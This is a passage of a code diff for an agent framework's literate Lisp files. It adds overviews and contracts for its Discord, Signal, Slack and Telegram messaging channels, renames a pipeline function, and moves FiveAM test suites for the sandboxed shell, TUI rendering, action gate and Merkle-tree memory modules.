 1. (channel-cli-input text): wraps text in a ~:user-input~ envelope
    with ~:source :CLI~ and injects into the pipeline via
-   ~inject-stimulus~.
+   ~stimulus-inject~.
-
-* Implementation
-
-** Package Context
-#+begin_src lisp
-(in-package :passepartout)
-#+end_src
-
-** CLI Command Handling
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defun channel-cli-input (text)
-  "Processes raw text from the command line."
-  (inject-stimulus (list :type :EVENT 
-                         :payload (list :sensor :user-input :text text) 
-                         :meta (list :source :CLI))))
-#+end_src
-
-** Skill Registration
-#+begin_src lisp
-(defskill :passepartout-channel-cli
-  :priority 100
-  :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
-  :deterministic (lambda (action ctx) (declare (ignore ctx)) action))
-#+end_src
 
 * Test Suite
 
@@ -70,3 +45,29 @@ depending on FiveAM macro resolution in the jailed package.
     (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
   (error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
 #+end_src
+
+* Implementation
+
+** Package Context
+#+begin_src lisp
+(in-package :passepartout)
+#+end_src
+
+** CLI Command Handling
+;; REPL-VERIFIED: 2026-05-03T13:00:00
+#+begin_src lisp
+(defun channel-cli-input (text)
+  "Processes raw text from the command line."
+  (stimulus-inject (list :type :EVENT 
+                         :payload (list :sensor :user-input :text text) 
+                         :meta (list :source :CLI))))
+#+end_src
+
+** Skill Registration
+#+begin_src lisp
+(defskill :passepartout-channel-cli
+  :priority 100
+  :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
+  :deterministic (lambda (action ctx) (declare (ignore ctx)) action))
+#+end_src
+

org/channel-discord.org

@@ -7,6 +7,30 @@
 
 Extracted from gateway-messaging in v0.5.0. Isolated platform — Discord-specific poll and send logic.
 
+* Overview
+
+The Discord channel provides bidirectional communication via the Discord REST API
+and Gateway WebSocket. Messages received from Discord channels are injected into
+the cognitive pipeline as ~:user-input~ signals with ~:source :discord~. Outbound
+messages route through the actuator registry when the pipeline targets ~:discord~.
+
+The channel uses two functions: ~discord-poll~ (inbound sensor, REST polling)
+and ~discord-send~ (outbound actuator, REST POST). Both retrieve the bot token
+from the credentials vault (~vault-get-secret :discord~). HITL commands are
+intercepted before injection so approval flows work identically across all channels.
+
+** Contract
+
+1. (discord-get-token): returns the Discord bot token from the vault
+   (via ~vault-get-secret :discord~), or nil if not configured.
+2. (discord-poll): polls configured channels via GET /channels/{id}/messages,
+   injects each non-bot message as a ~:user-input~ stimulus with
+   ~:source :discord~. Handles JSON parse failures and API errors
+   gracefully. HITL commands are intercepted before injection.
+3. (discord-send action context): sends a message via POST /channels/{id}/messages.
+   Extracts ~:channel-id~ and ~:text~ from the action plist. Uses bot token
+   authentication. Logs send failures without crashing the pipeline.
+
 * Implementation
 
 #+begin_src lisp

org/channel-shell.org

@@ -26,6 +26,41 @@ Because shell execution is the highest-risk operation in the system, the Shell A
    command through the sandbox. When ~bwrap~ is unavailable, falls back to the
    existing ~timeout bash -c~ behavior.
 
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-shell-actuator-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:shell-actuator-suite))
+
+(in-package :passepartout-shell-actuator-tests)
+
+(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
+(in-suite shell-actuator-suite)
+
+(test test-bwrap-wrap-command
+  "Contract 2: bwrap-wrap-command returns properly formatted command list."
+  (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
+    (is (member "bwrap" cmdline :test #'string=))
+    (is (member "--unshare-net" cmdline :test #'string=))
+    (is (member "--unshare-ipc" cmdline :test #'string=))
+    (is (member "echo hello" cmdline :test #'string=))))
+
+(test test-bwrap-available-p-returns-boolean
+  "Contract 1: bwrap-available-p returns T or NIL."
+  (let ((avail (passepartout::bwrap-available-p)))
+    (is (typep avail 'boolean))))
+
+(test test-actuator-shell-execute-echo
+  "Contract 3: actuator-shell-execute runs echo and returns output."
+  (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
+         (result (passepartout::actuator-shell-execute action nil)))
+    (is (stringp result))
+    (is (search "hello" result :test #'char-equal))))
+#+end_src
+
 * Implementation
 
 ** Shell Execution (actuator-shell-execute)
@@ -99,37 +134,3 @@ When bwrap is available, wraps the command in a Linux namespace sandbox."
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 #+end_src
 
-* Test Suite
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-shell-actuator-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:shell-actuator-suite))
-
-(in-package :passepartout-shell-actuator-tests)
-
-(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
-(in-suite shell-actuator-suite)
-
-(test test-bwrap-wrap-command
-  "Contract 2: bwrap-wrap-command returns properly formatted command list."
-  (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
-    (is (member "bwrap" cmdline :test #'string=))
-    (is (member "--unshare-net" cmdline :test #'string=))
-    (is (member "--unshare-ipc" cmdline :test #'string=))
-    (is (member "echo hello" cmdline :test #'string=))))
-
-(test test-bwrap-available-p-returns-boolean
-  "Contract 1: bwrap-available-p returns T or NIL."
-  (let ((avail (passepartout::bwrap-available-p)))
-    (is (typep avail 'boolean))))
-
-(test test-actuator-shell-execute-echo
-  "Contract 3: actuator-shell-execute runs echo and returns output."
-  (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
-         (result (passepartout::actuator-shell-execute action nil)))
-    (is (stringp result))
-    (is (search "hello" result :test #'char-equal))))
-#+end_src

org/channel-signal.org

@@ -7,6 +7,31 @@
 
 Extracted from gateway-messaging in v0.5.0. Isolated platform — Signal-specific poll and send logic.
 
+* Overview
+
+The Signal channel provides bidirectional communication via the ~signal-cli~ CLI tool.
+Messages received from Signal contacts are injected into the cognitive pipeline
+as ~:user-input~ signals with ~:source :signal~. Outbound messages route through
+the actuator registry when the pipeline targets ~:signal~.
+
+The channel uses two functions: ~signal-poll~ (inbound sensor) and ~signal-send~
+(outbound actuator). Both retrieve the Signal account identifier from the
+credentials vault. HITL commands (~/approve~, ~/deny~) are intercepted before
+injection so approval flows work identically across all channels.
+
+** Contract
+
+1. (signal-get-account): returns the Signal phone number from the vault
+   (via ~vault-get-secret :signal~), or nil if not configured.
+2. (signal-poll): queries ~signal-cli receive --json~ for new messages,
+   injects each non-system message as a ~:user-input~ stimulus with
+   ~:source :signal~. Handles JSON parse failures and network errors
+   gracefully (logs and continues). HITL commands are intercepted before
+   injection.
+3. (signal-send action context): sends a message via ~signal-cli send~.
+   Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
+   failures without crashing the pipeline.
+
 * Implementation
 
 #+begin_src lisp

org/channel-slack.org

@@ -7,6 +7,31 @@
 
 Extracted from gateway-messaging in v0.5.0. Isolated platform — Slack-specific poll and send logic.
 
+* Overview
+
+The Slack channel provides bidirectional communication via the Slack Web API
+(chat.postMessage for outbound, conversations.history for inbound polling).
+Messages from Slack channels are injected into the cognitive pipeline as
+~:user-input~ signals with ~:source :slack~. Outbound messages route through
+the actuator registry when the pipeline targets ~:slack~.
+
+The channel uses two functions: ~slack-poll~ (inbound sensor) and ~slack-send~
+(outbound actuator). Both retrieve the bot token from the credentials vault.
+HITL commands are intercepted before injection so approval flows work identically
+across all channels.
+
+** Contract
+
+1. (slack-get-token): returns the Slack bot token from the vault
+   (via ~vault-get-secret :slack~), or nil if not configured.
+2. (slack-poll): polls configured channels via conversations.history,
+   injects each non-bot message as a ~:user-input~ stimulus with
+   ~:source :slack~. Handles API errors gracefully. HITL commands are
+   intercepted before injection.
+3. (slack-send action context): sends a message via chat.postMessage.
+   Extracts ~:channel-id~ and ~:text~ from the action plist. Uses Bearer
+   token authentication. Logs send failures without crashing the pipeline.
+
 * Implementation
 
 #+begin_src lisp

org/channel-telegram.org

@@ -7,6 +7,33 @@
 
 Extracted from gateway-messaging in v0.5.0. Isolated platform — Telegram-specific poll and send logic.
 
+* Overview
+
+The Telegram channel provides bidirectional communication via the Telegram Bot
+API. Messages from Telegram chats are injected into the cognitive pipeline as
+~:user-input~ signals with ~:source :telegram~. Outbound messages route through
+the actuator registry when the pipeline targets ~:telegram~.
+
+The channel uses two functions: ~telegram-poll~ (inbound sensor, getUpdates
+with offset tracking) and ~telegram-send~ (outbound actuator, sendMessage).
+Both retrieve the bot token from the credentials vault. The polling offset
+(~:last-update-id~ in ~*gateway-configs*~) prevents duplicate processing across
+poll cycles. HITL commands are intercepted before injection so approval flows
+work identically across all channels.
+
+** Contract
+
+1. (telegram-get-token): returns the Telegram bot token from the vault
+   (via ~vault-get-secret :telegram~), or nil if not configured.
+2. (telegram-poll): polls getUpdates with offset tracking (prevents
+   duplicate processing), injects each message as a ~:user-input~ stimulus
+   with ~:source :telegram~. Updates ~:last-update-id~ per cycle. Handles
+   API and JSON parse errors gracefully. HITL commands are intercepted
+   before injection.
+3. (telegram-send action context): sends a message via sendMessage.
+   Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
+   failures without crashing the pipeline.
+
 * Implementation
 
 #+begin_src lisp

org/channel-tui-view.org

@@ -288,6 +288,117 @@ that the TUI actuator attaches to the response plist before transmission.
      (setf (st :dirty) (list nil nil nil))))
 #+end_src
 
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-tui-view-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:tui-view-suite))
+
+(in-package :passepartout-tui-view-tests)
+
+(def-suite tui-view-suite :description "TUI view rendering helpers")
+(in-suite tui-view-suite)
+
+(test test-char-width-ascii
+  "Contract 5: ASCII characters (< 128) have width 1."
+  (is (= 1 (passepartout::char-width #\a)))
+  (is (= 1 (passepartout::char-width #\Space)))
+  (is (= 1 (passepartout::char-width #\@))))
+
+(test test-char-width-tab
+  "Contract 5: tab character has width 8."
+  (is (= 8 (passepartout::char-width #\Tab))))
+
+(test test-char-width-cjk
+  "Contract 5: CJK characters have width 2."
+  (is (= 2 (passepartout::char-width #\日))))
+
+(test test-char-width-null
+  "Contract 5: null has width 0."
+  (is (= 0 (passepartout::char-width #\Nul))))
+
+(test test-markdown-bold
+  "Contract 7: parse-markdown-spans detects **bold**."
+  (let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
+    (is (= 3 (length segments)))))
+
+(test test-markdown-plain
+  "Contract 7: plain text returns single segment."
+  (let ((segments (passepartout::parse-markdown-spans "plain")))
+    (is (= 1 (length segments)))
+    (is (string= "plain" (caar segments)))))
+
+(test test-markdown-url
+  "Contract 7: parse-markdown-spans detects URLs."
+  (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
+    (is (>= (length segments) 2))
+    (is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
+
+(test test-markdown-blocks
+  "Contract 8: parse-markdown-blocks detects code blocks."
+  (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 3 (length segs)))
+    (let ((code (second segs)))
+      (is (eq t (getf code :code-block)))
+      (is (string= "lisp" (getf code :lang)))
+      (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
+
+(test test-markdown-blocks-no-close
+  "Contract 8: unclosed code block returns content."
+  (let* ((text (format nil "```~%unclosed code"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 1 (length segs)))
+    (is (eq t (getf (first segs) :code-block)))))
+
+(test test-syntax-highlight
+  "Contract 9: syntax-highlight colors Lisp code."
+  (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
+    (is (>= (length segs) 3))))
+
+(test test-syntax-highlight-keyword
+  "Contract 9: syntax-highlight colors keywords."
+  (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-syntax-highlight-function
+  "Contract 9: syntax-highlight colors function calls."
+  (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-gate-trace-lines-passed
+  "Contract 9: gate-trace-lines for passed gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "path" :result :passed)))))
+    (is (= 1 (length lines)))
+    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
+
+(test test-gate-trace-lines-blocked
+  "Contract 9: gate-trace-lines for blocked gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "shell" :result :blocked :reason "rm")))))
+    (is (= 1 (length lines)))
+    (is (search "rm" (caar lines)))))
+
+(test test-gate-trace-lines-approval
+  "Contract 9: gate-trace-lines for approval gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "network" :result :approval)))))
+    (is (= 1 (length lines)))
+    (is (search "HITL" (caar lines)))))
+
+(test test-init-state-has-collapsed-gates
+  "Contract v0.7.2: init-state includes :collapsed-gates field."
+  (passepartout.channel-tui::init-state)
+  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
+    (is (null cg))))
+#+end_src
+
 * Implementation — v0.7.0 additions
 #+begin_src lisp
 (in-package :passepartout)
@@ -688,117 +799,6 @@ Respects CJK/emoji char widths via char-width."
     (- h 1)))
 #+end_src
 
-* Test Suite
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-tui-view-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:tui-view-suite))
-
-(in-package :passepartout-tui-view-tests)
-
-(def-suite tui-view-suite :description "TUI view rendering helpers")
-(in-suite tui-view-suite)
-
-(test test-char-width-ascii
-  "Contract 5: ASCII characters (< 128) have width 1."
-  (is (= 1 (passepartout::char-width #\a)))
-  (is (= 1 (passepartout::char-width #\Space)))
-  (is (= 1 (passepartout::char-width #\@))))
-
-(test test-char-width-tab
-  "Contract 5: tab character has width 8."
-  (is (= 8 (passepartout::char-width #\Tab))))
-
-(test test-char-width-cjk
-  "Contract 5: CJK characters have width 2."
-  (is (= 2 (passepartout::char-width #\日))))
-
-(test test-char-width-null
-  "Contract 5: null has width 0."
-  (is (= 0 (passepartout::char-width #\Nul))))
-
-(test test-markdown-bold
-  "Contract 7: parse-markdown-spans detects **bold**."
-  (let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
-    (is (= 3 (length segments)))))
-
-(test test-markdown-plain
-  "Contract 7: plain text returns single segment."
-  (let ((segments (passepartout::parse-markdown-spans "plain")))
-    (is (= 1 (length segments)))
-    (is (string= "plain" (caar segments)))))
-
-(test test-markdown-url
-  "Contract 7: parse-markdown-spans detects URLs."
-  (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
-    (is (>= (length segments) 2))
-    (is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
-
-(test test-markdown-blocks
-  "Contract 8: parse-markdown-blocks detects code blocks."
-  (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
-         (segs (passepartout::parse-markdown-blocks text)))
-    (is (= 3 (length segs)))
-    (let ((code (second segs)))
-      (is (eq t (getf code :code-block)))
-      (is (string= "lisp" (getf code :lang)))
-      (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
-
-(test test-markdown-blocks-no-close
-  "Contract 8: unclosed code block returns content."
-  (let* ((text (format nil "```~%unclosed code"))
-         (segs (passepartout::parse-markdown-blocks text)))
-    (is (= 1 (length segs)))
-    (is (eq t (getf (first segs) :code-block)))))
-
-(test test-syntax-highlight
-  "Contract 9: syntax-highlight colors Lisp code."
-  (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
-    (is (>= (length segs) 3))))
-
-(test test-syntax-highlight-keyword
-  "Contract 9: syntax-highlight colors keywords."
-  (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
-    (is (>= (length segs) 2))
-    (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
-
-(test test-syntax-highlight-function
-  "Contract 9: syntax-highlight colors function calls."
-  (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
-    (is (>= (length segs) 2))
-    (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
-
-(test test-gate-trace-lines-passed
-  "Contract 9: gate-trace-lines for passed gate."
-  (let ((lines (passepartout::gate-trace-lines
-                '((:gate "path" :result :passed)))))
-    (is (= 1 (length lines)))
-    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
-
-(test test-gate-trace-lines-blocked
-  "Contract 9: gate-trace-lines for blocked gate."
-  (let ((lines (passepartout::gate-trace-lines
-                '((:gate "shell" :result :blocked :reason "rm")))))
-    (is (= 1 (length lines)))
-    (is (search "rm" (caar lines)))))
-
-(test test-gate-trace-lines-approval
-  "Contract 9: gate-trace-lines for approval gate."
-  (let ((lines (passepartout::gate-trace-lines
-                '((:gate "network" :result :approval)))))
-    (is (= 1 (length lines)))
-    (is (search "HITL" (caar lines)))))
-
-(test test-init-state-has-collapsed-gates
-  "Contract v0.7.2: init-state includes :collapsed-gates field."
-  (passepartout.channel-tui::init-state)
-  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
-    (is (null cg))))
-#+end_src
-
 * v0.8.0 Tests — Sidebar View
 #+begin_src lisp
 (in-package :passepartout-tui-view-tests)

org/core-act.org

@@ -38,6 +38,132 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
     ~fboundp~-guarded; missing skills produce nil. Called from the
     ~:tui~ actuator lambda.
 
+* Test Suite
+Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-pipeline-act-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:pipeline-act-suite))
+
+(in-package :passepartout-pipeline-act-tests)
+
+(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
+(in-suite pipeline-act-suite)
+
+(test test-loop-gate-act-basic
+  "Contract 1: approved action reaches :acted status via loop-gate-act."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
+          (result (loop-gate-act signal)))
+    (is (eq :acted (getf signal :status)))
+    (is (null result))))
+
+(test test-loop-gate-act-no-approved-action
+  "Contract 1: signal with no approved-action still reaches :acted status."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((signal (list :type :EVENT :status nil :depth 0)))
+    (loop-gate-act signal)
+    (is (eq :acted (getf signal :status)))))
+
+(test test-loop-gate-act-last-mile-reject
+  "Contract 1: last-mile cognitive-verify rejection blocks approved-action."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-blocker
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx action))
+                    (list :type :LOG :payload (list :text "Last-mile block"))))
+  (let* ((signal (list :type :EVENT :status nil :depth 0
+                        :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
+    (loop-gate-act signal)
+    (is (eq :acted (getf signal :status)))
+    (is (null (getf signal :approved-action)))))
+
+(test test-loop-gate-act-preserves-meta
+  "Contract 1: signal metadata is not mutated by loop-gate-act."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((meta '(:source :tui :session "s1"))
+         (signal (list :type :EVENT :status nil :depth 0 :meta meta
+                        :approved-action '(:target :cli :payload (:text "test")))))
+    (loop-gate-act signal)
+    (is (equal meta (getf signal :meta)))))
+
+(test test-action-dispatch-routes
+  "Contract 3: action-dispatch routes to registered actuators without crashing."
+  (actuator-initialize)
+  (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
+                                  '(:type :EVENT :depth 0))))
+    (is (numberp result) "eval should return a number")))
+
+(test test-tool-timeout-shell
+  "Contract v0.7.2: shell timeout is 300 seconds."
+  (is (= 300 (passepartout::tool-timeout "shell"))))
+
+(test test-tool-timeout-unknown
+  "Contract v0.7.2: unknown tool gets default 120s."
+  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
+
+(test test-verify-write-match
+  "Contract v0.7.2: verify-write returns T on match."
+  (let ((path "/tmp/passepartout-verify-test.org")
+        (content "test content"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (is (passepartout::verify-write path content))
+      (ignore-errors (delete-file path)))))
+
+(test test-tool-timeout-enforcement
+  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
+  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
+  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "sleep-forever"
+                                          :read-only-p nil
+                                          :body (lambda (args)
+                                                  (declare (ignore args))
+                                                  (sleep 10)
+                                                  "done")))
+  (unwind-protect
+       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
+              (ctx '(:depth 0))
+              (result (passepartout::action-tool-execute action ctx)))
+         (is (eq :EVENT (getf result :TYPE)))
+         (let ((payload (getf result :PAYLOAD)))
+           (is (eq :tool-error (getf payload :SENSOR)))
+           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
+    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
+    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
+
+(test test-tool-cache-read-only
+  "Contract v0.7.2: read-only tool results are cached and reused."
+  (let ((call-count 0))
+    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "cache-test"
+                                            :read-only-p t
+                                            :body (lambda (args)
+                                                    (declare (ignore args))
+                                                    (incf call-count)
+                                                    (list :status :success :content (format nil "call ~d" call-count)))))
+    (unwind-protect
+         (progn
+           (clrhash passepartout::*tool-cache*)
+           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
+                  (ctx '(:depth 0))
+                  (r1 (passepartout::action-tool-execute action ctx))
+                  (r2 (passepartout::action-tool-execute action ctx)))
+             (is (= 1 call-count) "Second call should hit cache, not re-execute")
+             (let ((p1 (getf r1 :PAYLOAD))
+                   (p2 (getf r2 :PAYLOAD)))
+               (is (string= (getf (getf p1 :RESULT) :CONTENT)
+                            (getf (getf p2 :RESULT) :CONTENT))))))
+      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
+      (clrhash passepartout::*tool-cache*))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -401,128 +527,3 @@ uses the old name can call this alias. New code should call
   (loop-gate-act signal))
 #+end_src
 
-* Test Suite
-Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-pipeline-act-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:pipeline-act-suite))
-
-(in-package :passepartout-pipeline-act-tests)
-
-(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
-(in-suite pipeline-act-suite)
-
-(test test-loop-gate-act-basic
-  "Contract 1: approved action reaches :acted status via loop-gate-act."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
-          (result (loop-gate-act signal)))
-    (is (eq :acted (getf signal :status)))
-    (is (null result))))
-
-(test test-loop-gate-act-no-approved-action
-  "Contract 1: signal with no approved-action still reaches :acted status."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((signal (list :type :EVENT :status nil :depth 0)))
-    (loop-gate-act signal)
-    (is (eq :acted (getf signal :status)))))
-
-(test test-loop-gate-act-last-mile-reject
-  "Contract 1: last-mile cognitive-verify rejection blocks approved-action."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-blocker
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx action))
-                    (list :type :LOG :payload (list :text "Last-mile block"))))
-  (let* ((signal (list :type :EVENT :status nil :depth 0
-                        :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
-    (loop-gate-act signal)
-    (is (eq :acted (getf signal :status)))
-    (is (null (getf signal :approved-action)))))
-
-(test test-loop-gate-act-preserves-meta
-  "Contract 1: signal metadata is not mutated by loop-gate-act."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((meta '(:source :tui :session "s1"))
-         (signal (list :type :EVENT :status nil :depth 0 :meta meta
-                        :approved-action '(:target :cli :payload (:text "test")))))
-    (loop-gate-act signal)
-    (is (equal meta (getf signal :meta)))))
-
-(test test-action-dispatch-routes
-  "Contract 3: action-dispatch routes to registered actuators without crashing."
-  (actuator-initialize)
-  (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
-                                  '(:type :EVENT :depth 0))))
-    (is (numberp result) "eval should return a number")))
-
-(test test-tool-timeout-shell
-  "Contract v0.7.2: shell timeout is 300 seconds."
-  (is (= 300 (passepartout::tool-timeout "shell"))))
-
-(test test-tool-timeout-unknown
-  "Contract v0.7.2: unknown tool gets default 120s."
-  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
-
-(test test-verify-write-match
-  "Contract v0.7.2: verify-write returns T on match."
-  (let ((path "/tmp/passepartout-verify-test.org")
-        (content "test content"))
-    (with-open-file (f path :direction :output :if-exists :supersede)
-      (write-string content f))
-    (unwind-protect
-         (is (passepartout::verify-write path content))
-      (ignore-errors (delete-file path)))))
-
-(test test-tool-timeout-enforcement
-  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
-  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
-  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
-        (passepartout::make-cognitive-tool :name "sleep-forever"
-                                          :read-only-p nil
-                                          :body (lambda (args)
-                                                  (declare (ignore args))
-                                                  (sleep 10)
-                                                  "done")))
-  (unwind-protect
-       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
-              (ctx '(:depth 0))
-              (result (passepartout::action-tool-execute action ctx)))
-         (is (eq :EVENT (getf result :TYPE)))
-         (let ((payload (getf result :PAYLOAD)))
-           (is (eq :tool-error (getf payload :SENSOR)))
-           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
-    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
-    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
-
-(test test-tool-cache-read-only
-  "Contract v0.7.2: read-only tool results are cached and reused."
-  (let ((call-count 0))
-    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
-          (passepartout::make-cognitive-tool :name "cache-test"
-                                            :read-only-p t
-                                            :body (lambda (args)
-                                                    (declare (ignore args))
-                                                    (incf call-count)
-                                                    (list :status :success :content (format nil "call ~d" call-count)))))
-    (unwind-protect
-         (progn
-           (clrhash passepartout::*tool-cache*)
-           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
-                  (ctx '(:depth 0))
-                  (r1 (passepartout::action-tool-execute action ctx))
-                  (r2 (passepartout::action-tool-execute action ctx)))
-             (is (= 1 call-count) "Second call should hit cache, not re-execute")
-             (let ((p1 (getf r1 :PAYLOAD))
-                   (p2 (getf r2 :PAYLOAD)))
-               (is (string= (getf (getf p1 :RESULT) :CONTENT)
-                            (getf (getf p2 :RESULT) :CONTENT))))))
-      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
-      (clrhash passepartout::*tool-cache*))))
-#+end_src

org/core-memory.org

@@ -46,6 +46,142 @@ The tradeoff is memory usage: each snapshot is a deep copy of every object in ac
 4. (snapshot-memory): deep-copies ~*memory-store*~ to ~*memory-snapshots*~.
 5. (rollback-memory snap-index): restores ~*memory-store*~ from a snapshot.
 
+* Test Suite
+Verifies that the Merkle hash is deterministic and consistent across independent AST ingestions.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-memory-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:memory-suite))
+
+(in-package :passepartout-memory-tests)
+
+(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
+(in-suite memory-suite)
+
+(test merkle-hash-consistency
+  "Contract 2: identical ASTs produce identical Merkle hashes."
+  (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
+    (clrhash passepartout::*memory-store*)
+    (let ((id1 (ingest-ast ast1)))
+      (let ((hash1 (memory-object-hash (memory-object-get id1))))
+        (clrhash passepartout::*memory-store*)
+        (let ((id2 (ingest-ast ast1)))
+          (is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
+
+(test merkle-hash-different
+  "Contract 2: distinct ASTs produce different Merkle hashes."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
+         (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
+         (id1 (ingest-ast ast1))
